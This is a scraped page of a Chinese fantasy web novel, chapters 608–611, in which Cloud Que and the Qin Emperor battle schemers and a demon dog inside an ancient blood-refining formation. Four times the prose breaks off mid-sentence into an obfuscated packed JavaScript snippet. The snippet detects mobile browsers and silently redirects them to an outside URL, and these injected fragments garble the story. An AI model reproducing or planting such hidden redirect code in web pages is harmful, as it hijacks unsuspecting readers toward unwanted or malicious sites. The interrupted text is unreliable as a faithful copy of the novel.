咔嚓!!!!!!!!! 剑气斩开了空气也斩断了欺风犬的右爪并且刺瞎了犬妖额头的第三只眼! 这还不算 这道剑气斩开欺风犬之后直奔城门竟一剑劈开了封城的石柱! 赢财大张着嘴巴一脸的不可思议。 段无病与马至远也都是差不多的表情惊骇不已。 “剑意……” 马至远最先清醒过来。 他的阅历最高瞬间想到了剑意的来源惊语道:“白家老祖大唐剑圣!” 马至远猜对了。 白誉的吊坠的确来自白家老祖是老祖送给唐太子的保命之物。 而大唐剑圣这个称呼已经很多年没有出现在云州大地以至于世人渐渐将那位曾经叱咤风云的一代剑圣逐渐遗忘。 今日剑圣之威重现少年城! 剑斩妖王!!! 仅仅是融入吊坠中的一道剑意 欺风犬被重创跌倒在一旁发出尖锐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555255|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犬吠大股鲜血从伤口涌出。 封住城门的石柱断裂后现出了通往城外的通道。 赢财大喜重重拍了下白誉的肩头道: “不赖啊兄弟!你这剑道我服气快跑吧!” 赢财扛起他二弟健步如飞冲向城门。 段无病与马至远紧随其后赢人志爬起来也跟着往外逃。 白誉扶起福老跟在几人身后回头看了眼石柱顶端的云缺。 白誉知道这时候自己无能为力。 他自己能逃出城外已经算得上帮云缺的忙的留在城里只会给云缺增加负担拖后腿。 眼看着出口越来越近几人的心跳也越发剧烈。 就在赢财抵达了城门下的时候远处的假影卫突然下压双手。 地面晃动轰鸣大作! 一根完好的石柱在城门外拔地而起再次将城门封死! 赢财不甘心一拳砸在新的石柱上。 结果他被反震之力弹了个跟头跌坐在地。 马至远与福老齐齐出手以法术轰击石柱。 毫无效果。 石柱看似只有一根,却已经与整个大阵相连。 剑圣的剑意能将大阵破开个口子,其他人可做不到。 几人心头的希望,就此跌落谷底,被绝望所淹没。 逃不出去! 赢财爬起来抓住白誉的肩膀,满怀期待的道: “好兄弟!你还有没有项链了,再拿出来几个啊! 白誉无奈的摇了摇头,道: “老祖给的吊坠儿,只有那一个而已,动用剑圣的剑意,也只有一次机会。 “完了!等死吧。 赢财变得浑身无力,缓缓瘫软下去。 要不是白誉搀扶他一把,这位大秦的大皇子都想躺下等死。 反正是个死,还不得躺着死来得舒服。 丞相被钉死在石柱上,云缺与朱幺杀得几乎两败俱伤,再战下去只能是同归于尽的下场。 无论是赢财还是白誉,段无病亦或马至远与福老,全都看不到半点希望。 欺风犬虽然被重创,却没死! 此时妖犬在远处爬了起来,三条腿着地,一边低吼,一边一瘸一拐的逼近众人。 即便战败三阶妖王,还有个更狠的二品不灭武夫在后面,对于逃出少年城,赢财等人已经不抱任何希望。 满城少年也是一样。 随着云缺与朱幺搏杀到两败俱伤,人们的心头完全被绝望所笼罩。 今日,必死…… “唉,我要是也有剑圣老祖就好了,要他几百个剑意项链。 赢财拍了拍白誉的肩头,苦涩道:“兄弟呀,你脸皮太薄了啊。 调侃完最后一句,赢财没心情再说话,闭上眼睛等死。 就在欺风犬即将抵达近前,要诛杀几人之际,城门处的石柱上突然传来一声轻响。 嘭! 声音不是很大,能听得出好像有人在外面砸石柱。 从声音大小判断,这种力道实在太小,怎么可能砸开大阵呢。 赢财段无病与白誉等人听到声音,齐齐回头看去。 咔嚓,咔嚓…… 轰隆!!! 在几人的目光当中,石柱上先是出现了细密的裂纹,紧接着碎裂开来,直至完全崩塌! 沙尘翻滚中,隐约能看到一个拳头! 有人在外面一拳,砸开了这座远古大阵! 当沙尘散去,马至远段无病等人看到了一道高大的身影,正站立在豁口之外。 一身黑色的龙袍,头戴高冠,双眸如鹰! 等看清了来人,赢财激动得眼泪都出来了,紧紧抓着白誉的肩膀,声音颤抖道: “兄弟啊!我是没有你家的剑圣老祖,但我有爹啊! 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第609章 快进来呀 论起天赋与心智,大皇子赢财在云州大地绝非最高之人。 但是论起拼爹的话,赢财在天下间绝对算头一个。 因为他爹,是大秦之主,当世一品! 城门外,站着神态冷漠的秦皇赢開。 这位大秦皇帝,只一拳,便轰开了封门的石柱,硬生生将笼罩少年城的远古大阵轰开一个豁口。 赢人志揉了揉眼睛,确认自己没看错之后,哇一声痛哭起来。 “父皇!父皇救命呀!儿臣差点没命啦!” 三兄弟当中,赢人志年纪最小,平日里也最游手好闲,挥金如土,从未遭遇过如此危机,早被吓得心胆俱裂。 如今看到亲爹出现,再也控制不住,犹如个被人欺负的孩子般痛哭流涕。 赢人志放心了。 亲爹到了,到底谁要炼制少年丹已经不重要了,即便是他爹的手段,也不可能拿亲儿子炼丹。 大皇子虽然没他三弟那么不堪,也一样激动得泪流满面,抓着身旁的唐太子不撒手,好像要炫耀一番自家老爹有多么强大似的。 他刚才觉得唐太子的剑圣吊坠真牛笔,一道剑意就能砍了三阶妖王砍开城门,现在不羡慕了,因为自己老爹更牛笔! 马至远与段无病齐齐跪地参拜,绝望的心情,就此扭转。 秦皇亲临,一切危机将迎刃而解! 白誉的心情最为复杂。 他本该才是质子,结果换成了云缺,现在秦皇到了,自己与云缺又穿帮了,等到危机解除,该如何应对局面。 一旦放松下来,大皇子与马至远等人觉得不对劲儿了,偷偷瞄了眼白誉。 唐太子居然在自己旁边,那么云缺,就是实打实的假太子了…… 城门处, 秦皇巍然不动,冷漠的目光掠过赢财等人,落在最高的石柱顶端。 云缺与朱幺拼杀得两败俱伤,双方的身上全是恐怖的伤口,均已筋疲力尽,各自艰难的蓄力,准备着再次冲杀。 随后秦皇将目光落在石柱中间,被钉在石柱上的丞相身上。 最后, 秦皇的目光挪移,落在了大秦看台,那名同样一身黑衣的假影卫身上。 敏锐到极致的感知,让秦皇察觉到城内最为危险的人 物就是那名假影卫! 欺风犬此时浑身黑毛尽数竖起三条腿在缓慢的后退喉咙中发出蕴含忌惮的低吼。 面对天下一品 云缺在发现秦皇的身影后立刻选择散去妖气恢复人身大口喘气狂吃灵丹。 云缺已经到了极限。 再拼杀下去神魂会彻底混沌陷入沉眠。 月魁不会夺取这副本体但长时间的妖化对人族来说有着巨大的弊端如同上一次击杀红莲教主一样不知要沉眠多久更有可能无法再醒来。 尽管服用了大量丹药云缺的脑子里仍旧浑浑噩噩彷如灌铅了一样眼中的血色难以消散眼前的一切依旧是血红颜色。 透过血色云缺发现秦皇始终站在城门一动不动。 人家没进来! 怎么回事…… 云缺晃了晃沉沉的脑袋心里隐隐有一种不安之感。 秦皇亲临少年城按理说破开大阵后应该直接进城击杀敌人。 假影卫朱幺欺风犬三个加在一起也不是一品武夫的对手。 以秦皇的实力杀掉三人轻而易举。 可不知为何秦皇始终站在城门外如同一尊雕塑一动不动。 对面的朱幺也恢复了本体从庞大的野猪变为了人形状态浑身肥肉上全是狰狞的伤口血流如注。 朱幺啐了一口血沫子忌惮道: “呸!正主儿到了……” 无论朱幺还是欺风犬面对秦皇有一种天然的畏惧感。 不止人家的帝王之名更重要的是人家的一品境界! 大阵虽然被破开一个豁口却并未停止满城少年的气血不断被法阵吸走。 悬于中心石柱顶端的血丹此刻变得鲜艳欲滴犹如一颗百年难见的异界果实散发着令人着迷的气息。 不断旋转的血丹汇聚了满城少年的精血其内蕴含的气血之力达到了一个无法估量的地步。 若是以血肉为食的妖族看到必将彻底疯狂。 一些以人血修炼的邪修一样会拼命争夺。 血丹不停满城少年的危机就无法解除。 少年城的气氛变得压 抑到极致。 在这份沉闷的气氛中,一道金属摩擦般的声音,从假影卫口中传出。 只见那假影卫朝着城门处的秦皇躬身拜见,道: “血丹将成,恭请陛下入城! 听到假影卫此言,无数少年修士心如死灰。 人们都认为这次少年城的劫难,就是秦皇所为,要不然怎么人家现在来了呢。 这是来服用血丹啊! 朱幺累得趴在石柱上,一张胖脸上带着诡异的怪笑,大吼道: “恭请陛下服丹!火候儿快到了!陛下服用了少年丹就能冲进超品之列,真正的天下无敌!快进来呀! 云缺的目光晃动了起来。 假影卫伪装得始终没有破绽,在外人看来,他就是秦皇心腹,炼制血丹的幕后黑手。 而朱幺则漏洞百出。 尤其最后那句快进来呀,根本不是在恭迎自家帝王,而是在催促仇家快些走进陷阱! 朱幺的语气中甚至还带着几分调侃的意味。 云缺瞬间得出一个猜测。 秦皇,曾经就是星辰殿的生肖高手! 朱幺与那假影卫,甚至连欺风犬都认得秦皇! 随后一个疑惑浮上心头。 朱幺为何不怕? 对于少年丹,云缺绝不相信是秦皇的手段,朱幺等人在嫁祸秦皇而已。 可是面对天下一品,别说朱幺这个三品归真,即便那二品不灭境的假影卫,也该忌惮万分才对。 秦皇现身,他们应对的方式应该是立刻逃走。 而朱幺此时的表现,可绝非忌惮,更没有任何逃走的征兆,反而带着某种期待,想要让秦皇进城。 云缺百思不解。 一旦秦皇进城,朱幺等人必死无疑,难道他们有对付一品强者的手段? 或者秦皇在忌惮这座远古法阵? 还是说,秦皇本身,并未达到一品? 秦皇始一直没动,只是目光变得愈发冷冽起来。 时间在一点点流逝。 少年们的气血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565251|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也在一点点流失。 如此诡异的局面,连云缺也觉得迷茫起来。 假影卫再度开口,仍旧是金铁摩擦的声音: “既然陛下想要等到血丹完 全成型那便稍等片刻属下继续炼制便是。” 说话间双手再次下压。 城门口的地面冲出了新的石柱! 当石柱升起的瞬间秦皇突然踏出一步脚下升起的石柱硬生生被踩出一道贯穿上下的脚印! 秦皇这一脚直接将石柱踩成了两段! 这还不算。 秦皇扬手一拳轰在城门左侧的石柱上。 轰隆隆!!!!!!! 闷响声连成一片。 石柱一根接一根相继坍塌血光迸溅石块翻飞! 围拢少年城的无数石柱被秦皇一拳轰塌了一半! 城门处的赢财马至远等人看得心惊肉跳连远处的云缺都被秦皇这一拳之威所震撼。 丞相左兰山以归心剑接连劈斩都难以破开一根石柱人家秦皇只需一拳即可轰塌上百根! 二品之力与一品之威差距实在太大! 秦皇的手段确实令人惊叹天下一品的强大在此刻展现无遗。 然而局面并未因为一品强者的现身而出现太大改变。 坍塌的一片石柱很快被地底拔生出的新石柱所替代尤其这些崭新的石柱居然与之前一样通体血色! 仿佛秦皇轰碎的只是一片梦幻泡影对大阵毫无影响。 云缺尽管神智变得模糊不堪但感知能力犹在他能真切的感受到城外的石柱的确坍塌了绝非幻象。 以一双血瞳也能清晰辨认出来。 可是再生的石柱却依旧通体血色如此异象令云缺无法置信。 唯一的可能 就是这座古老的法阵太过玄奥强大连一品强者也难以破开! “古阵为千年前遗留此地曾经是两位世间强者的战场遗迹以陛下的能力至少一天之内毁不掉这座天地五行炼神大阵一天之后血丹早已成功。” 假影卫传出呵呵低笑以虚假的声音道:“陛下可要想好了是要血丹还是要皇子与天下少年呢。” 假影卫给出了一个选择题。 答案只有两个。 进城救下皇子与天下少年。 不进城只能等待血丹大成满城活人尽数死绝。 这道专门为秦皇设立的选择题耗费了十余年的时光。 代价是数十万少年修士的命! 是三位皇子的命!是大量皇亲国戚的命!亦是大秦之主的声望! 如果秦皇不进城那么星辰殿就会将血丹大劫的始作俑者按在秦皇头上。 这步棋云缺终于看懂了。 少年城是给秦皇准备的一份陷阱。 而秦皇不得不跳。 否则就要背上炼制少年丹的恶名 云缺用力的瞪起竖瞳强行清醒神智。 这场局做得好生庞大! 从假影卫的言词中云缺抓住了几个要点。 千年前战场遗迹两位世间强者…… 云缺的脑海里犹如炸起雷鸣一个念头越发清晰起来! 结合少年城的前身与石柱深埋地底的状态云缺就此猜出了封城大阵的由来! 第610章 杀你们足矣 千年前形成的废墟,不仅留下了两位世间强者大战后的痕迹,还遗留了当年破损后的强大法阵。 星辰殿之所以选在这里建立少年城,其真正目的,就是要借助废墟深处的残破古阵,来重现当年的奇阵之威。 少年城,自始至终都是一个鱼饵! 这个鱼饵,被星辰殿养了十多年,今日,终于钓到了秦皇这条大鱼。 而古阵的由来,极有可能是超品强者所遗留! 因为只有超品强者布下的法阵,秦皇这种当世一品才无可奈何! 超品…… 云缺的心头完全被这两个恐怖的字眼所填满。 千年来,云州大地有所记载的超品就那么几位。 再一次,云缺想起了那幅梦境中的登山画面。 儒圣斩杀了其他超品,独自登顶! 而儒圣斩杀超品的战场,云缺已经遇到过。 草原深处的诡异破庙,其中的无头佛像,就有可能是当初的佛陀之躯。 巫神,则被斩杀与十万大山深处,巫神碑就是巫神之墓。 那位超品的妖血武夫,不该擅长布阵,所以此地废墟,应该不是儒圣与妖血武夫的战场。 那么只剩下一位超品…… 道尊! 云缺的眼中充满了震撼之意。 少年城原本的废墟之地,极有可能就是儒圣与道尊的战场! 而天地五行炼神大阵,便是当初道尊布下,用来抗衡儒圣的远古大阵! 也只有出自超品强者之手的古阵,才能解释通为何秦皇对少年城的大阵束手无策。 心中震撼之余,云缺猜测到另一个被遗漏的地方。 天地五行炼神大阵的名字! 从此阵的名字判断,应该是专门为了炼化元神而创出的法阵,可少年城里的古阵,其用处是炼化气血,凝炼血丹,少年们的元神并未受到影响。 以云缺猜测, 应该是天地五行炼神大阵被儒圣摧毁了大半,只剩下半数的阵基,其威能也早已不在。 星辰殿是在残阵的基础上,加以炼制改造,才形成了如今的规模,功效也远不如前。 否则的话,完整状态的天地五行炼神大阵只要被催动而起,满城少年会在瞬间被吸 空气血,炼掉元神,成为遍地白骨! 即便法阵的威能远远不及道尊亲自出手,但身为一品的秦皇也难以在短时间内破开,只有进城与等待这两条路可选。 想通了古阵的由来,云缺反而变得愈发疑惑起来。 秦皇为何始终犹豫着进城? 赢開他到底在迟疑着什么? 眼看着满城少年的状态愈发危险,云缺焦急起来。 根本用不了一天, 不用多,只要再等半个时辰,城里大半的少年修士就得魂归黄泉! 往下方看去, 云缺看到了鸿影。 原本壮硕的孩子,此刻瘦得皮包骨,连呼喊都做不到了,瞪着一双大眼睛,直勾勾盯着石柱顶端。 呼…… 云缺的气息变得越来越重,心头的狂躁之意愈发难以压制。 鸿影是牧青瑶同父异母的弟弟,是自己的小舅子,十来岁的年纪,若就此身亡,何其悲惨! 还有白誉,那是表弟! 还有师兄段无病,二皇子赢皓,柳真真,史得侩…… 想起这些人,云缺本就混乱的心神愈发浑浊,有再次妖化的征兆。 “冷静些,你已经尽力了。” 耳畔响起月魁的声音:“这种战场,你无能为力,再拼下去,神魂会彻底与我融合,臭男人的身子,我才不要!” 月魁的声音,唤醒了云缺的神智。 云缺用力地摇了摇头,有心调侃一句你想要我还不想给呢,可实在没有心力多说半句。 能保持此时的清醒,云缺已经拼尽全力了。 其实月魁说得没错,云缺自己也很清楚。 二品强者现身,注定了这处战场,这处棋盘,云缺彻底失去了参与的资格。 只能眼睁睁看着这盘诡异的棋路,朝着无法预知的方向发展…… 即便云缺现在再度妖化,与朱幺拼个同归于尽,也改变不了满城少年修士的命运。 如今能扭转局面的,只有秦皇一人! “呵呵呵……” 假影卫的笑声好似铁块在摩擦,难听而刺耳,他冷漠的道:“陛下,选好了么。” 声音落下的同时,假影卫伸展双臂,狂暴的气息从他脚下升腾! 天地五行炼神大阵,被催动到极致! 中心石柱上的血色已经蔓延过大半区域,距离顶端只剩十余丈。 只要血色完全铺满最后一根石柱,便是满城少年丧命之时! 赢财与赢人志等人的表情,从最初的惊喜,渐渐变成了茫然,然后转为了惊悚与绝望。 他们终于发现, 那位天下无敌的父皇,居然也有迟疑的时候,也有束手无策的时候! 如果秦皇不进城,三位皇子一样会被炼成血丹! 秦皇打出一拳后,便不再出手,静立在城门口,脸上毫无表情看不出悲喜,目光平静得宛如古潭。 一切的情绪,都无法出现在这位大秦之主的身上。 没人能猜到秦皇在想什么,要如何做。 云缺也猜不到。 但是云缺的心神又一阵恍惚。 这次影响心神的,是假影卫的笑声。 再一次,云缺生出了一种莫名的熟悉感。 尽管那假影卫的声音听起来极其陌生,如铁石摩擦,可是那笑声,云缺觉得在哪听过。 并非声音听过,而是笑声的频率与语气。 为什么会有这种感觉? 云缺努力的用血瞳望去,对方的模样已经完全看不到了,头部笼罩在紫色的兜帽之中。 朱幺始终趴在石柱上大口喘气,他盯着城门处的秦皇,怪笑着骂道: “胆!小!如!鼠!嘎嘎!老鼠就是老鼠啊哈哈,我呸!进来就干死你! 随着朱幺的大骂,城门口的欺风犬也不再后退,并且变化出庞大的妖躯,来到了段无病与赢财几人身后。 感受到妖气大起,赢财等人猛然回头,看到了惊恐的一幕。 欺风犬正张开遍布獠牙的大嘴,吞向地上的二皇子赢皓! 赢皓始终昏迷不醒,赢人志早把他二哥忘在脑后,此时二皇子成为即将送入妖口的血食。 低吼中,欺风犬一口咬下! 于此同时,城门口的秦皇也动了。 赢開突然迈出一步,踏进了城中! 这一步看似距离很短,可瞬间之后,赢開迈出的一脚,便直接踩在了欺风犬的下颚,他抬起右手,抓住了犬妖的上颚獠牙! 一脚一手,撑开了三 阶妖王的大嘴! 即便欺风犬全力咬牙,仍旧无法合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565252|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拢大口。 “孽畜。” 秦皇一声冷哼,右手随之往旁边扯动。 咔!咔!咔!!!!!!! 连扯了三次之后,硬生生将三阶妖王的大嘴给撕裂开来! 欺风犬庞大的身影被甩飞,半个下颚则留在了秦皇脚下! 手撕妖王!!! 如此景象,看得所有人目瞪口呆。 秦皇所展现的力量,强大得令人头皮发麻。 然而云缺却锁紧了眉峰。 不对…… 秦皇的力量不对! 虽然生撕妖王的画面足够震撼,可很多人都忽略了一个细节。 秦皇接连扯了三次,才撕开欺风犬的嘴巴! 扯三次,说明聚力了三次。 若是一品武夫,一次足以撕裂整个欺风犬,完全可以从头撕到尾! 丢了半个下巴的欺风犬,看似凄惨,可没死! 再对比秦皇之前一拳轰击城外上百根石柱的威能,云缺心里得出一个判断。 城外的秦皇,确实拥有一品之力,否则不会一拳轰碎半个大阵。 但是到了城内,秦皇的力量明显骤降,绝对达不到一品的程度。 或许可以用没出全力来解释。 但是云缺不认为这种局面下,秦皇对付一头三阶妖王还要保留实力。 因为没必要。 既然是敌人,瞬间击杀才是最佳选择。 到底怎么回事…… 云缺猜测是古阵之力,又很快否定。 云缺自己靠着妖魂与完美金身,都能在大阵中动用三阶妖王的力量,秦皇又岂能被残缺的法阵压制住一品修为。 少年城…… 云缺心里泛起了这三个字。 由少年城只能联想到一件事。 那就是少年城,不属于大秦之地! 大秦境内,唯独这里,不尊秦皇! 莫非,秦皇在大秦之外,动用不出一品之力? 这个古怪的念头,令云缺百思不解。 怎么可能呢? 朱幺在石柱顶端捶着地面大笑道: “你有种!你有种啊哈哈!二品之力,我看你怎么 出得去!今天必须干死你!嘎嘎嘎! 秦皇仰起头,望向石柱顶端,冷漠道: “杀你们足矣。 嘭!!! 秦皇脚下炸起一片气浪,整个人腾空而起,一跃登上石柱。 朱幺还在笑呢,看到秦皇到了近前,笑声差点把他自己噎死。 轰!!! 秦皇一脚踢出,朱幺像个皮球似的被踢飞了出去,撞击在坍塌中的城墙上,直接透过城墙,又撞在石柱上,随后喷着血缓缓滑落。 秦皇踢飞了朱幺后,站在石柱顶端,黑色的龙袍无风而动,猎猎作响。 真正的王者,犹如立于云端。 云缺这是第一次见到秦皇的模样,视线虽然已经模糊,仍能看到对方。 只有两个字能形容。 霸气! 秦皇踏入城中的举动,足以证明这位枭雄的一身傲气。 云缺曾经想象过秦皇的模样。 此时的秦皇,无论冷漠的神态,与傲然的气质,还有高大的身形,都符合云缺的想象。 唯独模样,与云缺想的不一样。 大大的不一样! 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第611章 两个混球 在云缺心里,秦皇的样貌应该是那种刀削斧凿般的坚韧轮廓,剑眉鹰目,再配上一把长髯,威武中透着阴鸷,霸气中透着老辣。 可看到秦皇模样后,云缺发现对方的模样有点过于清秀。 甚至可以说秦皇的容貌,十分柔和,如同个中年的教书先生,如果不穿龙袍,再换上儒衫,云缺半点都不会怀疑这是某个书塾的先生。 尤其那双扫把眉,越看越别扭,很想上去扯一把,然后扔火堆里烧掉,就像小时候烧梅钱的扫把眉一样。 更让云缺觉得奇怪的是,秦皇的模样,与赢财也不像呀! 一点都不像,根本看不出是父子,眉眼与五官没有相似的地方。 与赢皓和赢人志更不像。 三个儿子,一个都不像,这就有点不对劲了。 云缺瞪着眼睛仔细看了看。 还别说,这位大秦皇帝的眉眼五官,倒是与梅钱那孙子更像一些。 秦皇扫了眼云缺。 以赢開的眼力,即便没看到之前发生了什么,但是从云缺的状态与此时在石柱顶端的位置也能大致判断出,云缺经历了一场艰难的恶战。 “不错。” 秦皇冷漠的道出一句不错之后,抬起右拳,朝着脚下的石柱砸去! 拳风炸起了狂暴的气浪,秦皇的右拳居然化作一道闪电,轰鸣下落! 秦皇已经看出, 城中心的这道石柱才是真正的阵基,想要摧毁大阵,必须进城摧毁这根石柱才行。 秦皇砸下的雷电之拳,并未落在石柱表面,而是被一只脚挡住。 假影卫常疾不知何时到了石柱上,踢出的一脚携带着裂空炸响,与秦皇的一拳撞击在一处。 轰!!!!! 两股同样恐怖的力量在石柱顶端爆开,形成一道圆环的狂暴气浪四散开来。 震耳欲聋的轰鸣在石柱顶端出现,四溢的气浪携带着二品武夫的恐怖气机,空气中出现了层层波纹。 翻涌的气浪中,云缺差点被震吐血! 若非本体足够强悍,换成柳真真段无病那些五品武夫上来,此刻早被震得骨断筋折,甚至肉身都会化作齑粉! 秦皇与假影卫的一拳一脚而已,造成的威能居然如此恐怖! 云缺很想爬下石柱,这里就不是人待的地方。 却做不到。 身体完全被爆裂的气机禁锢,难以动弹。 假影卫成功挡住了秦皇一拳,整个人被反震之力弹开数丈,站定于石柱边缘。 秦皇也不再出拳,而是静立在石柱中心,漠视着对方。 一人戴着兜帽,一人顶着龙冠,一人神秘冷酷,一人霸气飞扬。 两人谁也没再开口,但气氛压抑得令人心悸。 两股同样强横的气机将石柱顶端分成了两半,远远看去,高大的中心石柱好似一枚火把,而秦皇与假影卫的气机则宛如烈焰! 好巧不巧的是,云缺的位置就在两道气机之间。 又要抗衡秦皇的威压,又要抵抗假影卫的气机,之前还能动弹那么一两下,现在是寸步难移。 云缺在心里大呼倒霉。 心说你们俩是不是故意的,谁都不管我,谁都禁锢我,简直倒霉透顶! 云缺实在骂不出声,耳朵里嗡嗡作响,脑子里愈发混沌,拼尽全力一点一点的往石柱边缘爬。 不爬不行啊。 云缺现在就像一只猫儿,旁边是两头拼命的大象,随便谁踩过来一脚,云缺都得粉身碎骨。 三品归真还能抗衡一二, 可是在二品武夫面前,月魁即便获得了本体妖身也只能被活活打死! 妖力的动用,加上完美金身,云缺靠着强大的毅力或者说强大的逃生意志,终于一点点的爬到了石柱边缘。 眼看着再爬一步就能脱离这处可怕的战场,云缺一边感慨着今天运气还不错,一边祈祷着身后的两个家伙多对峙一会儿千万别动手。 大不了你们叙叙旧。 曾经都是星辰殿的同僚嘛,多年不见肯定有话要说,实在不行互骂几句也是好的呀。 可惜云缺今天实在运气不佳,即将逃离石柱的时候,身后传来了拳脚轰鸣! 两人选择了同时出手。 没有任何武器,完全以拳脚对战,砸出的气机不仅将石柱禁锢,连百丈外的空间都遍布着波纹。 云缺再次被压制,眼睁睁看着石柱边缘,就是爬不出去! 两个混球! 云缺在心里大骂,趴在石柱边缘,无奈的望着 下方地面。 百多丈高,即便直接掉下去也摔不死云缺,可就是出不去! 被钉死在石柱上的丞相,就在正下方,云缺能看到左兰山的脑袋歪在一旁,一动不动,不知死活。 大秦丞相的命运,预示着满城少年的下场。 现在的希望,只能寄托在秦皇身上。 云缺看不到身后,但是从两股气机的强度判断,双方势均力敌。 果然,走进少年城的秦皇,用不出一品战力! 云缺脑子里愈发疑惑。 到底怎么回事,为何一座小小的少年城,居然能压制住一品武夫,让秦皇施展不出真正的力量? 云缺想不通究竟。 但可以确定的是,秦皇的修为一定有问题! 天下一品,果然不是那么好当的…… 真正的一品强者,云缺只听说过秦皇一人,其他从未听闻。 在学宫的书也看了不少,没见过对于一品强者的描述,仿佛一品境界是一团迷雾,令人无法窥探真相。 很快云缺心神一动。 云缺想到了一个奇怪的地方。 秦皇的年纪! 四旬而已,却能攀登到一品高峰,这种修炼天赋太过妖孽,简直如同奇迹。 而世间的奇迹,不会那么轻易发生,即便有奇迹,在云缺看来也一定有着不为人知的代价。 渐渐的,一个猜测在云缺心里成型。 秦皇能成为一品,一定借用了某种外力,或者某种奇异的手段。 类似于妖血武夫。 否则以秦皇四旬的年纪,怎么可能如此轻易的成为一品强者。 而且秦皇的一品境界,还不是近期修成的,早在多年前人家就是天下一品了! 三十来岁的天下一品,甚至连三十岁都不到的天下一品,实在令人不可置信。 想到这里,云缺拼尽全力扭回头,看了眼打斗的双方。 结果这一眼看去,云缺彻底被震惊! 两道身影几乎化作了两团云雾,互相厮杀撞击中,呈现出千百个拳脚的虚影,空气中被震出了一层又一层的气浪,空间几乎出现了扭曲! 二品武夫的恶战,没有多少花哨的功法,完全如野兽般搏杀! 云缺始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575146|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终在思索着对策。 二品境界的秦皇,即便进了城也难以扭转局面。 那假影卫不仅也是二品不灭,还有着三品道门化神修为,比秦皇多了一份修为。 远处的朱幺与欺风犬此时歪歪扭扭的站了起来,谁都没死! 一个三品归真,一头三阶妖王,加上假影卫,三位强者若是合战秦皇,吃亏的肯定是赢開。 秦皇若败,满城少年活不成,云缺也活不成。 必须想办法…… 云缺在狂暴的气机中拼尽全力稳住心神,从细微处开始寻找机会。 很快,云缺看到了一丝希望。 秦皇之所以进城后便登上中心石柱,说明这根石柱最为重要,而且秦皇那一拳显然是要摧毁石柱,结果被假影卫拼力挡住。 中心石柱,是大阵的核心! 只要能摧毁这根石柱,天地五行炼神大阵才有可能停止! 最好的结果是, 大阵停止后血丹崩裂,少年们的气血会随之复原,如此一来,云缺就相当于有了满城数十万少年修士作为战力。 哪怕是车轮战,也能熬死被重创的朱幺与欺风犬! 想到这里,云缺手中浮现出妖刀,一刀扎进眼前的石柱表面。 妖刀是扎进去了,但是云缺的耳畔突然响起一声哀嚎。 声音来自月魁! 云缺大惊之下急忙感知识海空间,发现月魁的元神正在被某种力量抽离! 糟了! 云缺急忙将妖刀拔出,月魁的状态随之好转。 “炼神大阵……” 云缺嘀咕着这几个冷冰冰的字眼,心头一阵无奈。 炼神大阵或许早已残缺,星辰殿也难以复原,只能在残阵的基础上加以改造,形成吸取气血的功效。 然而这座远古大阵的威能,始终遗留了一些。 月魁被抽取了元神就是最好的例子。 无奈之余,云缺对超品的强大变得无比震撼。 残阵便有如此威能,若是完整的天地五行炼神大阵,该如何恐怖! 道尊的手段,太过惊人。 能斩杀道尊的儒圣,更加可怕。 超品早已成为了传说,云缺没心思多想,解决现在的危机才是关键。 怎么办呢…… 有了! 云缺一咬牙,艰难的开启储物袋,把唯一的一枚武神炮炮弹拿了出来。 这玩意的威力绝对不小,近距离爆开的话,即便炸不断石柱,至少能崩出个坑来。 可惜武神炮的炮弹只有一枚,还是当初邵武国送给唐皇的进贡之物,后来被云缺要了过来。 云缺暗暗自责。 今天若是能脱困,肯定第一时间开始打造武神炮,把炮弹弄出来一堆,越多越好。 最好造它个十万百万的,到时候再遇到生死危机,全都倒出来组成个炮弹山,老子就在山上一躺,手拿火把,谁来要我命,大家一起玩完! 心里念叨着拼命那二位千万保持住现状,至少现在云缺的手还能动一动,那两人要是动用武器的话,云缺的压力会更大。 到时候手指能不能动都不好说。 越怕什么,越来什么,当云缺就要点燃引线的时候,周围的气机突然强大了数倍! 